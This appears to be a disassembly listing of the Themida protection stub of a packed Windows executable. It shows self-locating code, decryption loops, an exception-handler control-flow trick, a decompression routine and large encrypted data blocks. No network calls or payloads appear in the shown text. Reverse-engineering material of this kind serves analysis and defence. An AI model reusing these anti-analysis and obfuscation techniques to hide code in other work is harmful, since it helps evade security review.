		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 6A634CFh
		mov	[ebp+6A6162Dh],	edx
		mov	[ebp+6A60121h],	esi
		mov	[ebp+6A62975h],	eax
		cmp	dword ptr [ebp+6A631DDh], 0
		jz	short loc_54DF19
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_54DF19:				; CODE XREF: start+6DEF7j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6A60619h],	eax
		push	45h
		call	sub_54DFCD
		push	783749Ah
		call	sub_54E013
		push	0A894B25h
		call	sub_54E013
		jmp	loc_54E157
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h
		dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
		dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
		dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
		dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
		dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
		dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
		dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54DFCD	proc near		; CODE XREF: start+6DF11p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 6A635BDh
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_54DFE9:				; CODE XREF: sub_54DFCD+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_54E008
		mov	eax, [ebp+arg_0]
		mov	[ebx+6A63527h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_54DFE9
; ---------------------------------------------------------------------------


loc_54E008:				; CODE XREF: sub_54DFCD+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_54DFCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54E013	proc near		; CODE XREF: start+6DF1Bp start+6DF25p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 6A63606h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_54E039:				; CODE XREF: sub_54E013+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_54E039
		mov	[ebp+var_84], 0
		lea	edi, [edx+6A63527h]
		lea	esi, [ebp+var_80]


loc_54E069:				; CODE XREF: sub_54E013+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_54E075:				; CODE XREF: sub_54E013+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54E075
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_54E069
		popa
		leave
		retn	4
sub_54E013	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_54E0B3
; ---------------------------------------------------------------------------


loc_54E0AF:				; CODE XREF: Themida_:0054E0B6j
		inc	dword ptr [ebp-4]
		inc	esi


loc_54E0B3:				; CODE XREF: Themida_:0054E0ADj
		cmp	byte ptr [esi],	0
		jnz	short loc_54E0AF
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_54E144
; ---------------------------------------------------------------------------


loc_54E0C5:				; CODE XREF: Themida_:0054E147j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_54E13B
; ---------------------------------------------------------------------------


loc_54E0CE:				; CODE XREF: Themida_:0054E13Fj
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_54E128
; ---------------------------------------------------------------------------


loc_54E0DE:				; CODE XREF: Themida_:0054E12Cj
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_54E100
		cmp	bl, 39h
		ja	short loc_54E100
		sub	bl, 30h
		jmp	short loc_54E122
; ---------------------------------------------------------------------------


loc_54E100:				; CODE XREF: Themida_:0054E0F4j
					; Themida_:0054E0F9j
		cmp	bl, 61h
		jb	short loc_54E112
		cmp	bl, 66h
		ja	short loc_54E112
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_54E122
; ---------------------------------------------------------------------------


loc_54E112:				; CODE XREF: Themida_:0054E103j
					; Themida_:0054E108j
		cmp	bl, 41h
		jb	short loc_54E122
		cmp	bl, 46h
		ja	short loc_54E122
		sub	bl, 41h
		add	bl, 0Ah


loc_54E122:				; CODE XREF: Themida_:0054E0FEj
					; Themida_:0054E110j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_54E128:				; CODE XREF: Themida_:0054E0DCj
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_54E0DE
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_54E138
		mov	eax, [ebp-10h]
		stosb


loc_54E138:				; CODE XREF: Themida_:0054E132j
		inc	dword ptr [ebp-8]


loc_54E13B:				; CODE XREF: Themida_:0054E0CCj
		cmp	dword ptr [ebp-8], 2
		jb	short loc_54E0CE
		add	edx, 4


loc_54E144:				; CODE XREF: Themida_:0054E0C3j
		cmp	edx, [ebp-4]
		jb	loc_54E0C5
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54E157:				; CODE XREF: start+6DF2Aj
		mov	ecx, 7000h
		lea	edi, [ebp+6A6374Ch]


loc_54E162:				; CODE XREF: start+6E152j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_54E162
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+6A63847h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		jo	loc_54E19C
		mov	bx, si


loc_54E19C:				; CODE XREF: start+6E17Fj
		push	0
		push	edx
		call	sub_54E1A7
		and	[edx-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_54E1A7	proc near		; CODE XREF: start+6E18Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_54E1A7	endp

; ---------------------------------------------------------------------------
		db 0F8h
aPg9m		db 'pG9M+Â%',0
		dd 0E9FFFFF0h, 0Eh, 5C0FFC0h, 0ACBB5A84h, 0DC187931h, 0CA8B33C9h
		dd 8166FF33h, 755A4D38h, 50B70F0Eh, 81D0033Ch, 45503Ah
		dd 2D087400h, 1000h, 64E3EB47h,	58Fh, 0C4830000h, 5A958D04h
		dd 5206A638h, 35FF64h, 64000000h, 2589h, 0C1030000h, 10002Dh
		dd 4708B00h, 0E681h, 0FE81FFFFh, 80000000h, 708B0376h
		dd 83C0331Ch, 1F7432F8h, 4D3E8166h, 8109745Ah, 10000EEh
		dd 0EBEB4000h, 33C7E8Bh, 503F81FEh, 74000045h, 64E8EB44h
		dd 58Fh, 0C4830000h, 51C36104h,	10244C8Bh, 0B0A981h, 10000000h
		dd 33590000h, 8B51C3C0h, 5510244Ch, 0E8h, 0ED815D00h, 6A63865h
		dd 3823858Dh, 818906A6h, 0B8h, 0C033595Dh, 8F6496C3h, 5
		dd 4C48300h, 0CE8h, 9B1FD00h, 75CE074h,	0FB0A879Ch, 0D8B70F05h
		dd 0DF8B665Bh, 10E9h, 58353A00h, 8883B083h, 0B2D23303h
		dd 0AD6ED727h, 0D98C6693h, 0AE9h, 0B7AB8D00h, 9BC47B21h
		dd 8082A1EAh, 0BB6604E1h, 0C90A1921h, 33850Fh, 0DB810000h
		dd 66C5B1D5h, 145185C7h, 106A6h, 36E90000h, 0E8000000h
		dd 10h,	511E22EBh, 54BE3DCFh, 0E6A2BA88h, 3B3BA683h, 820F50h
		dd 5B000000h, 5185C75Bh, 6A614h, 60000000h, 30EB8160h
		dd 0B041E627h, 0C88B6129h, 8D858961h, 8106A62Fh, 1B2E7EDBh
		dd 19858917h, 0E806A609h, 0Bh, 7CFC6952h, 0C0E93CD6h, 8A64844Fh
		dd 816658ECh, 81AF5DC1h, 73C3C0h, 0BB666000h, 0D98112F4h
		dd 7052DE4Fh, 1CBC6861h, 5FF90000h, 0EE8h, 2C3A9000h, 0C39D0F57h
		dd 298AC43Ch, 0E8696C2Ch, 9, 2E184B23h,	2511AFF0h, 5ACDB217h
		dd 81188B5Eh, 0F94F31EBh, 10E864h, 0DA330000h, 832D30EFh
		dd 0FB7A1837h, 0A92E0315h, 9E8CF39h, 40000000h,	0A518682Eh
		dd 0E9ED14AAh, 5E5A5956h, 0BE92F381h, 81F53370h, 965EF1C3h
		dd 6840F35h, 81000000h,	0DF715AEEh, 66188976h, 0D0BFEE81h
		dd 0E902E883h, 14h, 0B5419A22h,	502E388Fh, 0BCA851E1h
		dd 16CE45AAh, 8DAE5E10h, 8D0F4848h, 4, 0F750B966h, 0F01EF83h
		dd 0FFFF8085h, 6CE681FFh, 0E80A439Bh, 0Ch, 15FB7A18h, 39A92E03h
		dd 85EF15CFh, 0E9A8B966h, 81FB8B5Ah, 73CAC2h, 0DFBF0F00h
		dd 1CCC68h, 0BF5EF500h,	3705AECEh, 0D98B028Bh, 0E41BF081h
		dd 0CE955D8h, 0DA000000h, 0C8F4509Bh, 4DA818F5h, 8113CEB8h
		dd 42A00AF0h, 0F406BB10h, 0F081240Ah, 68432037h, 1870F50h
		dd 0F5000000h, 62BB028Fh, 81732AEEh, 47AD94EAh,	4529BF04h
		dd 0C2813079h, 447AD90h, 0BE9h,	0AA404000h, 0DA2EC2A1h
		dd 0EF30C15Ch, 0F01EE83h, 0FFFF9B85h, 0CE9FFh, 0A0A90000h
		dd 357A6A53h, 0ECD01A98h, 4EB9A5Fh, 215h, 744E9h, 0F1858900h
		dd 6006A629h, 9E9FCh, 1CE00000h, 0B1F70CFFh, 2B5B9B83h
		dd 548BF8C0h, 85312824h, 6A625FDh, 14D58589h, 852906A6h
		dd 6A632D9h, 3CBEh, 0ED9D8900h,	306A631h, 0F9242474h, 9589AD66h
		dd 6A608B1h, 24244403h,	6820Fh,	8D890000h, 6A629A1h, 6840Fh
		dd 95090000h, 6A61E75h,	0DE950h, 0F6DA0000h, 73E6126Dh
		dd 0C7A35ADCh, 895A01A0h, 0EE92404h, 0C4000000h, 3CBBCA21h
		dd 64A5AA9Ch, 2402877h,	78408B22h, 2D41B589h, 440306A6h
		dd 860F2824h, 12h, 0DE9h, 0DD99F000h, 3391D3D6h, 6FE68618h
		dd 11E9E75Fh, 33000000h, 0EE9953A5h, 9AD1212Dh,	0F5DFAF9Eh
		dd 0EFC57325h, 0F18408Bh, 0D80h, 0C8BF6000h, 8927C7DEh
		dd 0A6011D85h, 0E9406106h, 14h,	92F42299h, 3FA6FF36h, 4696EE60h
		dd 506A61BDh, 6F4515ADh, 3AB48589h, 896006A6h, 0A633359Dh
		dd 5861F806h, 91858B60h, 2906A606h, 0A629318Dh,	8BF96106h
		dd 0BD317870h, 6A60E01h, 0F1CC683h, 1088h, 5E86000h, 80000000h
		dd 0F9347965h, 0ABF1805Ah, 24740361h, 899D3124h, 8D06A61Dh
		dd 0A630D5BDh, 7850F06h, 0F000000h, 187h, 0FADFC00h, 0E8Ch
		dd 9E900h, 88E90000h, 0A69C1839h, 39DF1CEh, 0F5242444h
		dd 0D8589ABh, 8D06A61Ah, 0A61DA9BDh, 89952906h,	0F906A625h
		dd 14E960ADh, 7A000000h, 164C77E8h, 8AD06816h, 0C5615E6Dh
		dd 7144C325h, 89A7FEC9h, 0A6072195h, 44036106h,	0B5892424h
		dd 6A608E5h, 10E86090h,	0AD000000h, 14B8A1Eh, 98EE8AD3h
		dd 3DCD346Dh, 5250B724h, 0AE95A5Fh, 32000000h, 0B86B47B2h
		dd 0F90F93CCh, 6050618Fh, 820F51h, 5A000000h, 0F5609061h
		dd 5E9AB61h, 79000000h,	52BC1F9h, 0E09BD8Dh, 9D2906A6h
		dd 6A60809h, 6800FADh, 31000000h, 0A61C019Dh, 24440306h
		dd 8D8B6028h, 6A63069h,	0FA8B6660h, 6161CF8Bh, 49B589ABh
		dd 5E06A62Ch, 0C8F0Fh, 830F0000h, 6, 8B59D89h, 8DFF06A6h
		dd 6A63AB4h, 3AB4BD83h,	750006A6h, 2444C710h, 1Ch, 81B58D00h
		dd 0FF06A63Fh, 3AD56E6h, 97282444h, 858ADF8Bh, 6A60C29h
		dd 474C084h, 4C75073Ah,	0AEC03257h, 2B5EFD75h, 33FC52FBh
		dd 0D18B49C9h, 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h
		dd 0D166EBD1h, 660973D8h, 66504135h, 5449F381h,	0EB75CEFEh
		dd 0D333C833h, 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h
		dd 0F74D03Bh, 4C6835Eh,	14D585FFh, 6FE906A6h, 5EFFFFFFh
		dd 5E960h, 61AA0000h, 61C05B59h, 5E860h, 40070000h, 8B7301EBh
		dd 0A62C35BDh, 0F615B06h, 0C86h, 6820F00h, 9000000h, 0A607A99Dh
		dd 858BF906h, 6A614D5h,	18E0Fh,	0D1F90000h, 0E850FE0h
		dd 60000000h, 0CF98589h, 852306A6h, 6A61829h, 9850361h
		dd 8906A60Eh, 0A61DE595h, 89F62B06h, 0A61571BDh, 6E99606h
		dd 0DC000000h, 32901180h, 60AD66BFh, 1DA8B66h, 0A61A418Dh
		dd 0E0C16106h, 128F0F02h, 0E9000000h, 0Dh, 216D9F46h, 497EF191h
		dd 3C31990Ch, 8D8960D2h, 6A61205h, 6840Fh, 9D8B0000h, 6A61AC1h
		dd 0D5850361h, 3106A630h, 0A62C4995h, 85019606h, 6A6000Dh
		dd 18E0FADh, 0F8000000h, 24244C8Bh, 3850F60h, 0F000000h
		dd 9D31D3B7h, 6A604E5h,	69BD3161h, 306A61Ah, 89242444h
		dd 0A62A7D9Dh, 24448906h, 68B0F1Ch, 9000000h, 0A6087DB5h
		dd 8F0F9606h, 6, 1D599589h, 8B6006A6h, 0A61B1DB5h, 29AC6106h
		dd 0A6084DB5h, 0FC93206h, 1287h, 0DE900h, 89C80000h, 61E515Fh
		dd 0F955CEEh, 0FE61D6EBh, 99B531C1h, 0D006A615h, 0B2830FD0h
		dd 0F000000h, 68Ah, 3DB53100h, 0D006A61Eh, 9E830FD0h, 0F5000000h
		dd 820FD0D0h, 95h, 1B89B589h, 820F06A6h, 1, 0FD0D0F9h
		dd 8082h, 0D8B0F00h, 0E9000000h, 8, 268A80Dh, 44EAF4BAh
		dd 890FC9FEh, 0FFFFFFABh, 1FEB160h, 0A6063585h,	0C4836106h
		dd 6830F20h, 1000000h, 0A62FC585h, 2444C706h, 0FCh, 1D858900h
		dd 0B806A601h, 1, 25E9BD89h, 8D8D06A6h,	6A67226h, 6A99D29h
		dd 0E1FF06A6h, 13E9h, 0C45E0600h, 0EC6A35DCh, 0B395F859h
		dd 2A5FFC12h, 429AED57h, 7820Fh, 8F0F0000h, 1, 2985C6FCh
		dd 6A60Ch, 830F60h, 61000000h, 0ED9D8961h, 0C206A632h
		dd 8D010008h, 6A60FD9h,	8B666096h
		dd 5E9F0h, 7D990000h, 614689B1h, 50536050h, 5A310F52h
		dd 91BF5B58h, 617193A3h, 4D8D8996h, 8906A634h, 0A641BAB5h
		dd 0FE906h, 17220000h, 0F845C40Dh, 71DA5571h, 3457DB07h
		dd 0DA8D89CFh, 0F806A641h, 10E9h, 0F18FE400h, 0E10EBC6Ch
		dd 30858DA7h, 1F57BC63h, 58B58D67h, 0F506A640h,	58D3360h
		dd 0E906A634h, 0Bh, 0B1E4F51Ch,	28B76CF2h, 61DDED80h, 8EA1858Dh
		dd 0FFF9005Bh, 17840FD0h, 0E9000000h, 12h, 0D042B154h
		dd 0EC5F064h, 7FCE0C48h, 0C292A31h, 295EDEF9h, 0A6219185h
		dd 8D0FC306h, 8, 2860Fh, 61600000h, 41BAB58Bh, 816006A6h
		dd 0F6737EF6h, 0C981661Ah, 6061D4BDh, 3860Fh, 0BF0F0000h
		dd 0F08B66C1h, 0DA8D8B61h, 6006A641h, 105D9589h, 0C8BB06A6h
		dd 616DD658h, 1A5B589h,	0C02B06A6h, 18519589h, 0D98B06A6h
		dd 9E960h, 8A0A0000h, 4E432BFh,	81091629h, 5BDB3CF7h, 0BFE9610Fh
		dd 0E9000000h, 0Ch, 48C00C5Ah, 1F276A3Eh, 2FB81437h, 0DE92632h
		dd 9000000h, 0C59BF55Dh, 93CB9D87h, 0E2FA201Ch,	8D8902B2h
		dd 6A60759h, 59E9h, 9D316000h, 6A625C5h, 595B5250h, 60C23261h
		dd 76D8D8Bh, 816606A6h,	61F4F5DAh, 751D7A05h, 0CC8AFC8Ah
		dd 0F58D89FCh, 0D306A607h, 4235F9C8h, 0F98D108h, 68Bh
		dd 0C18D2900h, 6006A60Fh, 0E1858960h, 0F06A631h, 8B61CEB7h
		dd 0A625D185h, 0CAFE6106h, 0F319D29h, 0D20A06A6h, 0FFAB850Fh
		dd 0BE9FFFFh, 85000000h, 49C6ED0Bh, 0E07272A4h,	952941AAh
		dd 6A6052Dh, 0E946F94Bh, 0Eh, 0D16E5324h, 6B3A1929h, 64F7E94Dh
		dd 0DB0BC6F9h, 0FF4A850Fh, 12E9FFFFh, 6C000000h, 54CCCB98h
		dd 0A1049C96h, 0C710D554h, 0B2812647h, 13E9CFF4h, 0
		dd 30496A40h, 4F4A3BE7h, 7F4ACBEEh, 0C9F5DB5Dh,	890F0E5Ah
		dd 6, 0DED9D89h, 6A6h, 0AE9h, 3841A700h, 5481F0E0h, 203B75h
		dd 74BF6000h, 89503432h, 0A63415BDh, 6106h, 340D8589h
		dd 6A6h, 1AC18D89h, 12E906A6h, 0B6000000h, 0AA0DF537h
		dd 49F55B4Ch, 0C912CE89h, 590FF359h, 0C3858D89h, 0F06A63Ah
		dd 0E8Dh, 8D8B6000h, 6A61F71h, 870Fh, 89610000h, 0A6314D85h
		dd 1860F06h, 0F5000000h, 3FA0858Dh, 0BD2906A6h,	6A60BF1h
		dd 33658589h, 14EB06A6h, 4 dup(0)
		dd 8Bh,	42FE858Dh, 858906A6h, 6A63419h,	4248BD83h, 0F0006A6h
		dd 12284h, 2985C600h, 5606A60Ch, 9D932368h, 24048155h
		dd 7E81DA16h, 2F8DB5FFh, 858D06A6h, 6A63AC3h, 8589D0FFh
		dd 6A6423Ch, 0C2985C6h,	685606A6h, 67EA663Ah, 18240481h
		dd 0FF34BE52h, 0A62F8DB5h, 0C3858D06h, 0FF06A63Ah, 408589D0h
		dd 6A06A642h, 0ABCB6804h, 48191CBh, 34643524h, 4C858B6Eh
		dd 506A642h, 1F4h, 9002E0C1h, 6A9050h, 424095FFh, 858906A6h
		dd 6A64244h, 0FFB8D88Bh, 0FFFFFFFFh, 0A6341995h, 0FFC38B06h
		dd 0A6341995h, 8DE906h,	0BD830000h, 6A64248h, 1850F00h
		dd 0C3000000h, 44BD8B57h, 0AB06A642h, 42448583h, 5F0406A6h
		dd 48BD83C3h, 6A642h, 1850Fh, 60C30000h, 4244AD83h, 8B0406A6h
		dd 0A642449Dh, 0FC7B8306h, 26850FFFh, 0E8000000h, 4, 8000h
		dd 24448B50h, 89008B04h, 58042444h, 33FF006Ah, 423C95FFh
		dd 0C36106A6h, 1DE9h, 0F6AC6800h, 34816CF4h, 0F476AC24h
		dd 0FF006A6Ch, 3C95FF33h, 8306A642h, 0A64244ADh, 0A8E90406h
		dd 48FFFFFFh, 1ADE9h, 748B6000h, 7C8B2424h, 0B2FC2824h
		dd 46068A80h, 0BB470788h, 2, 850FD202h,	5, 1246168Ah, 0E2830FD2h
		dd 2FFFFFFh, 5850FD2h, 8A000000h, 0D2124616h, 6A830Fh
		dd 0C0330000h, 850FD202h, 5, 1246168Ah,	2A830FD2h, 2000001h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C013h,	5850Fh
		dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h
		dd 850FD202h, 5, 1246168Ah, 0FC013D2h, 684h, 0F82B5700h
		dd 885F078Ah, 2BB4707h,	0E9000000h, 0FFFFFF70h,	1B8h, 0FD20200h
		dd 585h, 46168A00h, 0C013D212h,	850FD202h, 5, 1246168Ah
		dd 0DE820FD2h, 2BFFFFFFh, 1BBC3h, 850F0000h, 34h, 1B9h
		dd 0FD20200h, 585h, 46168A00h, 0C913D212h, 850FD202h, 5
		dd 1246168Ah, 0DE820FD2h, 56FFFFFFh, 0F52BF78Bh, 0E95EA4F3h
		dd 0FFFFFF08h, 8E0C148h, 8B46068Ah, 1B9E8h, 0D2020000h
		dd 5850Fh, 168A0000h, 13D21246h, 0FD202C9h, 585h, 46168A00h
		dd 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h, 3D000000h
		dd 500h, 0E820Fh, 56410000h, 0F02BF78Bh, 0E95EA4F3h, 0FFFFFEB4h
		dd 0F7FF883h, 387h, 2C18300h, 2BF78B56h, 5EA4F3F0h, 0FFFE9BE9h
		dd 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h,	0E88B02D1h
		dd 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h, 7C2BFFFFh, 7C892824h
		dd 0C2611C24h, 29BA0008h, 0E9000009h, 9D3h, 0D44080B1h
		dd 0CC23CE3Dh, 0A27CF32h, 8236EB7Dh, 0C431CD33h, 8F9A8CF5h
		dd 3DBF5A13h, 6D677D52h, 0D940A6ECh, 0C42F8C36h, 5975D820h
		dd 0C731F96Ch, 0A75E863Ch, 9B908685h, 6FB35B0Eh, 6B657D52h
		dd 0D940A5E3h, 0D9308C2Ch, 4775C73Ah, 0D02AE770h, 0C4358828h
		dd 9F87CAB1h, 3DFE4A0Eh, 6B703353h, 0C040B3F7h,	0D931C32Ah
		dd 7BC734h, 63h	dup(0)
		dd 0DD4080B1h, 0DF3FC237h, 5A75D83Ah, 0D022E567h, 0C274C530h
		dd 98D599B4h, 6FF15B18h, 6A7C7C41h, 0C512E1E6h,	0C53FC236h
		dd 443C8A32h, 0D72AF335h, 0D3278823h, 97909EA6h, 1F923453h
		dd 7768764Bh, 0C540EDE7h, 0CA39C036h, 5E3C8A31h, 0CD37EC35h
		dd 0CF39883Ch, 838785B8h, 2BF15F5Dh, 776C6107h,	0C412A0F6h
		dd 0DE39D578h, 58258A27h, 0C337ED7Ah, 863Ch, 48h dup(0)
		dd 0D34080B1h, 0C035CD2Ah, 5972D830h, 0CD2AFE35h, 0CB3C883Dh
		dd 9F97CAA6h, 29BF5018h, 60676648h, 0DE15B3A2h,	0CC38C536h
		dd 0A3BC375h, 0D030E56Ch, 0D92DDB71h, 0D4988FA1h, 23CF3377h
		dd 617A7242h, 0DE15E1AEh, 0CF37C334h, 0A21C375h, 0CF2AF873h
		dd 0C731C571h, 0DA8C98BAh, 6FFB501Ch, 707A7655h, 9014B3E3h
		dd 0D923C321h, 4527DA75h, 0CF24F872h, 7Fh, 61h dup(0)
		dd 0DC0987B1h, 0C4358C3Dh, 5A20D827h, 8321EF61h, 0C200887Fh
		dd 8AD599BCh, 3DF8510Fh, 6C297E46h, 0D240B2E3h,	8B38C93Dh
		dd 433BCB38h, 0C329FF65h, 8A30CD25h, 0DA9184B4h, 2DE65F10h
		dd 6D041942h, 9013E6F6h, 0CE30C231h, 4E30DE36h,	823CE835h
		dd 0C3028830h, 0DA869FA7h, 2CBF4C12h, 6F6A7255h, 904EA5E7h
		dd 0D83FC40Ch, 463CCC75h, 0CD32AA70h, 8A208F3Fh, 918785A2h
		dd 36F15F5Dh, 617B7C4Ah, 0ACh, 0E0h dup(0)
aWlnumdllsprot	db 'WLNumDLLsProt',0
a0		db '0',0
		dd 8 dup(0)
		dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0
		dd 0E9000000h, 2BA4h, 14E8h, 0DF416400h, 0E82F4857h, 0D7C69D2h
		dd 0F86A3CBh, 8CD52852h, 8D896097h, 6A614B1h, 0DE8h, 0FA14E900h
		dd 63561A6Eh, 3DF5E74Ah, 615B7CDCh, 0BB66FC5Ah,	0C08B54A4h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 3FC35343h
		dd 0BCC13093h, 0C3BA8B0Dh, 3DBD89B3h, 8306A618h, 0A61EA5BDh
		dd 9750006h, 2F9DBD83h,	740006A6h, 8B535013h, 1B8C0h, 9D8D0000h
		dd 6A8A40Eh, 585BD3FFh,	2F9DBD83h, 740006A6h, 0B8535011h
		dd 1, 0A2BF9D8Dh, 0D3FF06A8h, 8589585Bh, 6A60669h, 10E9h
		dd 3A64E200h, 8EAD088h,	6884A3D1h, 0E5F59F1Eh, 0B2C08B4Dh
		dd 0FC565655h, 0BD835A5Ah, 6A62F75h, 1840F00h, 6A000002h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0FCAEC350h, 1399BD83h, 0F0006A6h,	1D784h
		dd 0FE900h, 0AE620000h,	0FA150069h, 44C96785h, 0EE92FC97h
		dd 9858970h, 6006A612h,	19018589h, 858B06A6h, 6A61399h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 62C35747h
		dd 958BE170h, 6A61D9Dh,	3E805h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 15958BE7h
		dd 0BB06A634h, 54085292h, 840F6090h, 0
		dd 5061EA8Ah, 5E856h, 9D3B0000h, 50B9B657h, 5A310F52h
		dd 905B5A58h, 185D8529h, 858D06A6h, 6A64F02h, 0ED4C4EBAh
		dd 8F0F9076h, 2, 0E950F48Ah, 12h, 0E20F9619h, 0DF9E0A10h
		dd 72709DEAh, 9433ED66h, 6A903A86h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 2D58C353h
		dd 0BB666F1Bh, 858D468Ch, 6A64EE0h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 45C35343h, 7038B10Ah, 0F51D007h
		dd 68Fh, 0FDB58900h, 5B06A60Ah,	6630BA50h, 48931E8h, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 4A6CB790h, 0FF2E584Ah, 0A61E9595h, 6E806h, 0A49E0000h
		dd 66E9BA49h, 10E9h, 5C14FB00h,	0BA0F17Bh, 4F6371FEh, 3999C461h
		dd 0C4835ADFh, 50006A0Ch, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 7F8ACA36h, 13C4339Dh
		dd 8DF8D18Bh, 0A64EE085h, 5AE38106h, 90770214h,	440EBB66h
		dd 0D68B6650h, 850B6090h, 6A6108Dh, 81026A61h, 0E47C54CBh
		dd 1495FF58h, 8B006AEDh, 0A61CC195h, 8D296106h,	6A633D5h
		dd 4F1385C7h, 106A6h, 85890000h, 6A605B1h, 5E95350h, 0F4000000h
		dd 822D09A8h, 2434895Ah, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 70C35545h, 9E9h, 72672800h, 2AF47A43h
		dd 12E9FF9Eh, 58000000h, 0DFD6715Bh, 0A6B17012h, 9A5ABD89h
		dd 9D72D1C9h, 0C4B58988h, 8B06A64Eh, 0A60D9995h, 51BD8306h
		dd 106A614h, 25850Fh, 1ABA0000h, 8B5ABD38h, 0A61AF59Dh
		dd 5F88306h, 11850Fh, 0B5890000h, 6A608EDh, 0B8h, 0AD858900h
		dd 8306A625h, 0A6117DBDh, 840F0006h, 25h, 2C61B509h, 896006A6h
		dd 0A61CB19Dh, 7D95FF06h, 8106A611h, 865AB2EAh,	0A18D8928h
		dd 6106A621h, 0DBC28166h, 59BD83D2h, 6A632h, 22840Fh, 0BE80000h
		dd 0D4000000h, 5ECDE712h, 2E71141h, 95899E0Fh, 6A607E9h
		dd 0B85Ah, 95230000h, 6A619C1h,	599D0B60h, 8B06A605h, 0A6184185h
		dd 83D18B06h, 0B70F02C0h, 0BC8589DAh, 0E906A64Eh, 0Ch
		dd 584A4A6Ch, 0D352302Eh, 730D342Dh, 6AFF00C6h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0BCD2C355h, 0BAD86DB4h, 51A34C92h, 1E258D89h, 850F06A6h
		dd 6, 2C259531h, 8B6606A6h, 2985C6DEh, 5306A60Ch, 0C79FBB66h
